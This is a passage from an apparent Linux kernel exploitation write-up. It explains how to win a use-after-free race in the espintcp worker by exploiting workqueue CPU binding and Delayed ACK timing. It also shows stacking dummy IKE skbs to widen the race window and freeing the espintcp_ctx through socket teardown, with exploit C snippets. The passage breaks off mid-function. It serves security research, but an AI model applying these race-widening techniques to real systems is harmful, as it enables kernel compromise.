<span class="kt">int</span> <span class="n">sndbuf</span> <span class="o">=</span> <span class="mi">1024</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">SOL_SOCKET</span><span class="p">,</span> <span class="n">SO_SNDBUF</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sndbuf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">sndbuf</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"setsockopt(SO_SNDBUF)"</span><span class="p">);</span>

<span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'A'</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">SENDMSG_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">send</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="delaying-execution-with-a-bound-workqueue">Delaying Execution with a Bound Workqueue</h2>

<p>There is one more point to consider. To actually trigger a UAF, the free of the target object must happen before the espintcp worker performs the UAF write. If the espintcp worker runs immediately right after <code class="language-plaintext highlighter-rouge">schedule_work(&amp;ctx-&gt;work)</code>, the victim object has not been freed yet, so a UAF does not occur. In other words, the execution of the worker needs to be delayed on purpose so that the object is freed first.</p>

<p>The key point here is that the espintcp worker is scheduled through <code class="language-plaintext highlighter-rouge">schedule_work()</code>. This API uses the global workqueue <code class="language-plaintext highlighter-rouge">system_percpu_wq</code>, which is a per-CPU workqueue handled by kworker threads bound to each CPU<code class="language-plaintext highlighter-rouge">[8]</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">__queue_work</span><span class="p">(</span><span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span>
                         <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="p">{</span>
        <span class="p">[...]</span>
        
        <span class="cm">/* pwq which will be used unless @work is executing elsewhere */</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">req_cpu</span> <span class="o">==</span> <span class="n">WORK_CPU_UNBOUND</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_UNBOUND</span><span class="p">)</span>
                        <span class="n">cpu</span> <span class="o">=</span> <span class="n">wq_select_unbound_cpu</span><span class="p">(</span><span class="n">raw_smp_processor_id</span><span class="p">());</span>
                <span class="k">else</span>
                        <span class="n">cpu</span> <span class="o">=</span> <span class="n">raw_smp_processor_id</span><span class="p">();</span>    <span class="c1">// &lt;=[8]</span>
        <span class="p">}</span>
        
        <span class="p">[...]</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kr">inline</span> <span class="n">bool</span> <span class="nf">schedule_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">return</span> <span class="n">queue_work</span><span class="p">(</span><span class="n">system_percpu_wq</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Because of this, the espintcp worker cannot run on a CPU other than the current one. It can only be processed after the currently running task finishes and yields the CPU, meaning that even if <code class="language-plaintext highlighter-rouge">schedule_work(&amp;ctx-&gt;work)</code> is called, the worker will run only after <code class="language-plaintext highlighter-rouge">espintcp_close()</code> returns.</p>

<p>In addition, the kernel used in the current test setup is built from the Ubuntu 25.10 configuration with <code class="language-plaintext highlighter-rouge">CONFIG_PREEMPT=n</code>, so there is no forced preemption while kernel code is running. This further reduces the chance that the worker can interrupt the execution of <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. As a result, the execution of the worker naturally gets pushed to a point after the close path.</p>

<p>In the current race scenario, <code class="language-plaintext highlighter-rouge">schedule_work(&amp;ctx-&gt;work)</code> is triggered in the middle of <code class="language-plaintext highlighter-rouge">espintcp_close()</code> by the Delayed ACK timer, as shown below.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           cpu0

[ process context ]
close()
  inet_release()
    espintcp_close()
      cancel_work_sync(&amp;ctx-&gt;work);

[ timer softirq context - Delayed ACK ]
tcp_delack_timer()
  tcp_delack_timer_handler()
    tcp_send_ack()
      ...
        raise NET_RX_SOFTIRQ

[ NET_RX softirq context - ACK ]
net_rx_action()
  ...
    tcp_data_snd_check()
      tcp_check_space()
        espintcp_write_space()
          schedule_work(&amp;ctx-&gt;work);
</code></pre></div></div>

<p>For this step, the key point is to have the target object for the UAF freed inside <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. The socket teardown in the <code class="language-plaintext highlighter-rouge">espintcp_close()</code> path should free the object first, and the worker should run only after that.</p>

<p>After that, even if <code class="language-plaintext highlighter-rouge">espintcp_close()</code> is delayed by its own implementation details or by various interleavings, the espintcp worker will not run until <code class="language-plaintext highlighter-rouge">espintcp_close()</code> finishes, as long as it does not call <code class="language-plaintext highlighter-rouge">schedule()</code> and yield the CPU in the middle.</p>

<h2 id="the-delayed-ack-interleaving">The Delayed ACK Interleaving</h2>

<p>Now it is time to arm the Delayed ACK timer that will schedule the espintcp worker.</p>

<p>Delayed ACK behavior is mainly controlled by the <code class="language-plaintext highlighter-rouge">icsk-&gt;icsk_ack.quick</code> field in <code class="language-plaintext highlighter-rouge">struct inet_connection_sock</code>. This value represents how many immediate ACKs are still allowed. Once this counter reaches zero, incoming packets no longer trigger an immediate ACK, and the code path switches to setting the Delayed ACK timer instead.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">bool</span> <span class="nf">tcp_in_quickack_mode</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">const</span> <span class="k">struct</span> <span class="n">inet_connection_sock</span> <span class="o">*</span><span class="n">icsk</span> <span class="o">=</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>

        <span class="k">return</span> <span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">dst_quick_ack</span> <span class="o">||</span>
                <span class="p">(</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">quick</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">inet_csk_in_pingpong_mode</span><span class="p">(</span><span class="n">sk</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">__tcp_ack_snd_check</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">int</span> <span class="n">ofo_possible</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">rtt</span><span class="p">,</span> <span class="n">delay</span><span class="p">;</span>

            <span class="cm">/* More than one full frame received... */</span>
        <span class="k">if</span> <span class="p">(((</span><span class="n">tp</span><span class="o">-&gt;</span><span class="n">rcv_nxt</span> <span class="o">-</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">rcv_wup</span><span class="p">)</span> <span class="o">&gt;</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">rcv_mss</span> <span class="o">&amp;&amp;</span>
             <span class="cm">/* ... and right edge of window advances far enough.
              * (tcp_recvmsg() will send ACK otherwise).
              * If application uses SO_RCVLOWAT, we want send ack now if
              * we have not received enough bytes to satisfy the condition.
              */</span>
            <span class="p">(</span><span class="n">tp</span><span class="o">-&gt;</span><span class="n">rcv_nxt</span> <span class="o">-</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">copied_seq</span> <span class="o">&lt;</span> <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_rcvlowat</span> <span class="o">||</span>
             <span class="n">__tcp_select_window</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="n">tp</span><span class="o">-&gt;</span><span class="n">rcv_wnd</span><span class="p">))</span> <span class="o">||</span>
            <span class="cm">/* We ACK each frame or... */</span>
            <span class="n">tcp_in_quickack_mode</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span> <span class="o">||</span>    <span class="c1">// Check icsk-&gt;icsk_ack.quick</span>
            <span class="cm">/* Protocol state mandates a one-time immediate ACK */</span>
            <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">pending</span> <span class="o">&amp;</span> <span class="n">ICSK_ACK_NOW</span><span class="p">)</span> <span class="p">{</span>
                <span class="cm">/* If we are running from __release_sock() in user context,
                 * Defer the ack until tcp_release_cb().
                 */</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">sock_owned_by_user_nocheck</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
                    <span class="n">READ_ONCE</span><span class="p">(</span><span class="n">sock_net</span><span class="p">(</span><span class="n">sk</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">ipv4</span><span class="p">.</span><span class="n">sysctl_tcp_backlog_ack_defer</span><span class="p">))</span> <span class="p">{</span>
                        <span class="n">set_bit</span><span class="p">(</span><span class="n">TCP_ACK_DEFERRED</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_tsq_flags</span><span class="p">);</span>
                        <span class="k">return</span><span class="p">;</span>
                <span class="p">}</span>
<span class="nl">send_now:</span>
                <span class="n">tcp_send_ack</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>    <span class="c1">// ACK</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ofo_possible</span> <span class="o">||</span> <span class="n">RB_EMPTY_ROOT</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tp</span><span class="o">-&gt;</span><span class="n">out_of_order_queue</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">tcp_send_delayed_ack</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>       <span class="c1">// Delayed ACK</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">icsk-&gt;icsk_ack.quick</code> is initialized on the server side in the <code class="language-plaintext highlighter-rouge">NET_RX</code> path when data is received for the first time. Looking at the implementation of <code class="language-plaintext highlighter-rouge">tcp_event_data_recv()</code>, which is called from the <code class="language-plaintext highlighter-rouge">NET_RX</code> path, this value is set to the maximum <code class="language-plaintext highlighter-rouge">TCP_MAX_QUICKACKS</code> when the first packet is received.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Maximal number of ACKs sent quickly to accelerate slow-start. */</span>
<span class="cp">#define TCP_MAX_QUICKACKS       16U
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">tcp_event_data_recv</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">inet_connection_sock</span> <span class="o">*</span><span class="n">icsk</span> <span class="o">=</span> <span class="n">inet_csk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">u32</span> <span class="n">now</span><span class="p">;</span>
        
        <span class="p">[...]</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">ato</span><span class="p">)</span> <span class="p">{</span>
                <span class="cm">/* The _first_ data packet received, initialize
                 * delayed ACK engine.
                 */</span>
                <span class="n">tcp_incr_quickack</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">TCP_MAX_QUICKACKS</span><span class="p">);</span>
                <span class="n">icsk</span><span class="o">-&gt;</span><span class="n">icsk_ack</span><span class="p">.</span><span class="n">ato</span> <span class="o">=</span> <span class="n">TCP_ATO_MIN</span><span class="p">;</span>

                <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After that, the <code class="language-plaintext highlighter-rouge">icsk-&gt;icsk_ack.quick</code> is decremented each time an ACK is sent. Once it reaches zero, the code switches to the Delayed ACK path and arms the <code class="language-plaintext highlighter-rouge">tcp_delack_timer()</code> handler.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Account for an ACK we sent. */</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">tcp_event_ack_sent</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="n">u32</span> <span class="n">rcv_nxt</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">tcp_sock</span> <span class="o">*</span><span class="n">tp</span> <span class="o">=</span> <span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        
        <span class="p">[...]</span>

        <span class="n">tcp_dec_quickack_mode</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">inet_csk_clear_xmit_timer</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">ICSK_TIME_DACK</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, all that is needed is for the Delayed ACK timer to fire after the <code class="language-plaintext highlighter-rouge">cancel_work_sync(&amp;ctx-&gt;work)</code> call inside <code class="language-plaintext highlighter-rouge">espintcp_close()</code>. The <code class="language-plaintext highlighter-rouge">espintcp_close()</code> implementation calls <code class="language-plaintext highlighter-rouge">tcp_close()</code> to perform TCP stack cleanup, and that function runs its work under <code class="language-plaintext highlighter-rouge">lock_sock()</code>.</p>

<p>The problem is that when the socket is held under <code class="language-plaintext highlighter-rouge">lock_sock()</code>, the <code class="language-plaintext highlighter-rouge">NET_RX</code> softirq cannot be processed immediately and the packet is pushed to the backlog (<code class="language-plaintext highlighter-rouge">sk_backlog</code>) instead. In that case, ACK processing can be delayed until after <code class="language-plaintext highlighter-rouge">tcp_close()</code> finishes. If the socket state transitions to <code class="language-plaintext highlighter-rouge">TCP_CLOSE</code> during the close path, then when the backlog is processed later, <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code> is no longer called, and the attempt to trigger the vulnerability fails.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">tcp_v4_rcv</span><span class="p">(</span><span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">)</span>
<span class="p">{</span>
        <span class="p">[...]</span>

        <span class="n">bh_lock_sock_nested</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">tcp_segs_in</span><span class="p">(</span><span class="n">tcp_sk</span><span class="p">(</span><span class="n">sk</span><span class="p">),</span> <span class="n">skb</span><span class="p">);</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">sock_owned_by_user</span><span class="p">(</span><span class="n">sk</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">ret</span> <span class="o">=</span> <span class="n">tcp_v4_do_rcv</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">);</span>
        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">tcp_add_backlog</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">skb</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">drop_reason</span><span class="p">))</span>
                        <span class="k">goto</span> <span class="n">discard_and_relse</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">bh_unlock_sock</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        
        <span class="p">[...]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>That means the timer has to expire in the narrow window between the <code class="language-plaintext highlighter-rouge">cancel_work_sync(&amp;ctx-&gt;work)</code> call and the call to <code class="language-plaintext highlighter-rouge">tcp_close()</code>. This “Delayed ACK timer expiration window” is only about <code class="language-plaintext highlighter-rouge">1 µs</code> wide, which makes the race very unlikely to succeed.</p>

<p>On top of that, three conditions have to be satisfied at the same time: <code class="language-plaintext highlighter-rouge">SOCK_NOSPACE</code> must be set, Delayed ACK must be scheduled, and the espintcp worker that is inevitably scheduled during the repeated <code class="language-plaintext highlighter-rouge">send()</code> loop must already be finished. With all of these conditions combined, a timing window on the order of <code class="language-plaintext highlighter-rouge">1 µs</code> is effectively close to impossible to hit.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">tcp_close</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">lock_sock</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">__tcp_close</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span>
        <span class="n">release_sock</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_net_refcnt</span><span class="p">)</span>
                <span class="n">inet_csk_clear_xmit_timers_sync</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="n">sock_put</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">espintcp_close</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">)</span>
<span class="p">{</span>
        <span class="k">struct</span> <span class="n">espintcp_ctx</span> <span class="o">*</span><span class="n">ctx</span> <span class="o">=</span> <span class="n">espintcp_getctx</span><span class="p">(</span><span class="n">sk</span><span class="p">);</span>
        <span class="k">struct</span> <span class="n">espintcp_msg</span> <span class="o">*</span><span class="n">emsg</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">partial</span><span class="p">;</span>

        <span class="n">strp_stop</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">);</span>

        <span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_prot</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">tcp_prot</span><span class="p">;</span>
        <span class="n">barrier</span><span class="p">();</span>

        <span class="n">cancel_work_sync</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">work</span><span class="p">);</span>
        <span class="n">strp_done</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">strp</span><span class="p">);</span>  <span class="o">------------------------------*</span>
                                                              <span class="o">|</span>
        <span class="n">skb_queue_purge</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">out_queue</span><span class="p">);</span>                     <span class="o">|</span>
        <span class="n">skb_queue_purge</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="o">-&gt;</span><span class="n">ike_queue</span><span class="p">);</span>    <span class="c1">// &lt;=[9]         |</span>
                                                              <span class="o">|</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">len</span><span class="p">)</span> <span class="p">{</span>                                      <span class="o">*---</span> <span class="n">Delayed</span> <span class="n">ACK</span> <span class="n">timer</span> <span class="n">expiration</span> <span class="n">window</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skb</span><span class="p">)</span>                                <span class="o">|</span>
                        <span class="n">kfree_skb</span><span class="p">(</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skb</span><span class="p">);</span>                 <span class="o">|</span>
                <span class="k">else</span>                                          <span class="o">|</span>
                        <span class="n">sk_msg_free</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">emsg</span><span class="o">-&gt;</span><span class="n">skmsg</span><span class="p">);</span>        <span class="o">|</span>
        <span class="p">}</span>                                                     <span class="o">|</span>
                                <span class="o">------------------------------*</span>
        <span class="n">tcp_close</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">timeout</span><span class="p">);</span> 
<span class="p">}</span>
</code></pre></div></div>

<p>For that reason, an intentional delay is injected by stacking skb objects in <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code> to widen the “timer expiration window”. <code class="language-plaintext highlighter-rouge">espintcp_close()</code> calls <code class="language-plaintext highlighter-rouge">skb_queue_purge(&amp;ctx-&gt;ike_queue)</code> to clean up received non-ESP (IKE) skb objects<code class="language-plaintext highlighter-rouge">[9]</code>. If the server sends IKE skb objects that match the parsing conditions of <code class="language-plaintext highlighter-rouge">espintcp_parse()</code> in advance, the client ends up spending extra time freeing these skb objects in the close path. That stretches the overall execution path by the same amount.</p>

<p>An unprivileged user can send dummy IKE skb objects as follows. First, set <code class="language-plaintext highlighter-rouge">fcntl(O_NONBLOCK)</code> and <code class="language-plaintext highlighter-rouge">setsockopt(TCP_NODELAY)</code> so that <code class="language-plaintext highlighter-rouge">send()</code> does not block and the data goes straight into the <code class="language-plaintext highlighter-rouge">NET_RX</code> path, where the skb objects are linked into <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code>. Then send dummy data in IKE format around 30 times. This builds up multiple skb objects in <code class="language-plaintext highlighter-rouge">ctx-&gt;ike_queue</code>, and as a result the execution time of <code class="language-plaintext highlighter-rouge">skb_queue_purge(&amp;ctx-&gt;ike_queue)</code> increases to roughly <code class="language-plaintext highlighter-rouge">10 µs</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">fcntl</span><span class="p">(</span><span class="n">conn_fd</span><span class="p">,</span> <span class="n">F_GETFL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">fcntl</span><span class="p">(</span><span class="n">server_fd</span><span class="p">,</span> <span class="n">F_SETFL</span><span class="p">,</span> <span class="n">flags</span> <span class="o">|</span> <span class="n">O_NONBLOCK</span><span class="p">);</span>

<span class="kt">int</span> <span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">setsockopt</span><span class="p">(</span><span class="n">server_fd</span><span class="p">,</span> <span class="n">IPPROTO_TCP</span><span class="p">,</span> <span class="n">TCP_NODELAY</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"setsockopt(TCP_NODELAY)"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">msg</span><span class="p">[</span><span class="mi">7</span><span class="p">];</span>
<span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x07</span><span class="p">;</span>                               <span class="c1">// full_len = 7</span>
<span class="n">msg</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="n">msg</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x00</span><span class="p">;</span> <span class="c1">// marker = 0</span>
<span class="n">msg</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x01</span><span class="p">;</span>                                              <span class="c1">// extra (len &gt; 4)</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">30</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">ssize_t</span> <span class="n">n</span> <span class="o">=</span> <span class="n">send</span><span class="p">(</span><span class="n">server_fd</span><span class="p">,</span> <span class="n">msg</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At this point, the espintcp worker can still be scheduled even after <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code>, so triggering a UAF requires freeing the victim object, <code class="language-plaintext highlighter-rouge">struct espintcp_ctx</code>, first. This <code class="language-plaintext highlighter-rouge">ctx</code> shares its lifetime with the socket (<code class="language-plaintext highlighter-rouge">struct sock</code>) and is freed together with it on the socket destruction path. More specifically, when the socket’s reference count is exhausted and the socket is destroyed, both <code class="language-plaintext highlighter-rouge">sk</code> and <code class="language-plaintext highlighter-rouge">ctx</code> are freed through the <code class="language-plaintext highlighter-rouge">sk_destruct()</code> path.</p>

<p>To free the victim object, the server side socket needs to be closed at the right time so that it enters the socket destruction path. Calling <code class="language-plaintext highlighter-rouge">close()</code> on the TCP socket leads to <code class="language-plaintext highlighter-rouge">__tcp_close()</code>. Looking at its implementation, if there are still skb objects left in <code class="language-plaintext highlighter-rouge">sk-&gt;sk_receive_queue</code> <code class="language-plaintext highlighter-rouge">[10]</code>, the code takes the path that sends an <code class="language-plaintext highlighter-rouge">RST</code> instead of performing a normal <code class="language-plaintext highlighter-rouge">FIN</code> shutdown <code class="language-plaintext highlighter-rouge">[11]</code>. This behavior corresponds to what is described in RFC 2525, section 2.17.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">__tcp_close</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="kt">long</span> <span class="n">timeout</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">bool</span> <span class="n">data_was_unread</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
        
        <span class="p">[...]</span>

        <span class="k">while</span> <span class="p">((</span><span class="n">skb</span> <span class="o">=</span> <span class="n">skb_peek</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sk</span><span class="o">-&gt;</span><span class="n">sk_receive_queue</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">u32</span> <span class="n">end_seq</span> <span class="o">=</span> <span class="n">TCP_SKB_CB</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">end_seq</span><span class="p">;</span>

                <span class="k">if</span> <span class="p">(</span><span class="n">TCP_SKB_CB</span><span class="p">(</span><span class="n">skb</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">tcp_flags</span> <span class="o">&amp;</span> <span class="n">TCPHDR_FIN</span><span class="p">)</span>
                        <span class="n">end_seq</span><span class="o">--</span><span class="p">;</span>
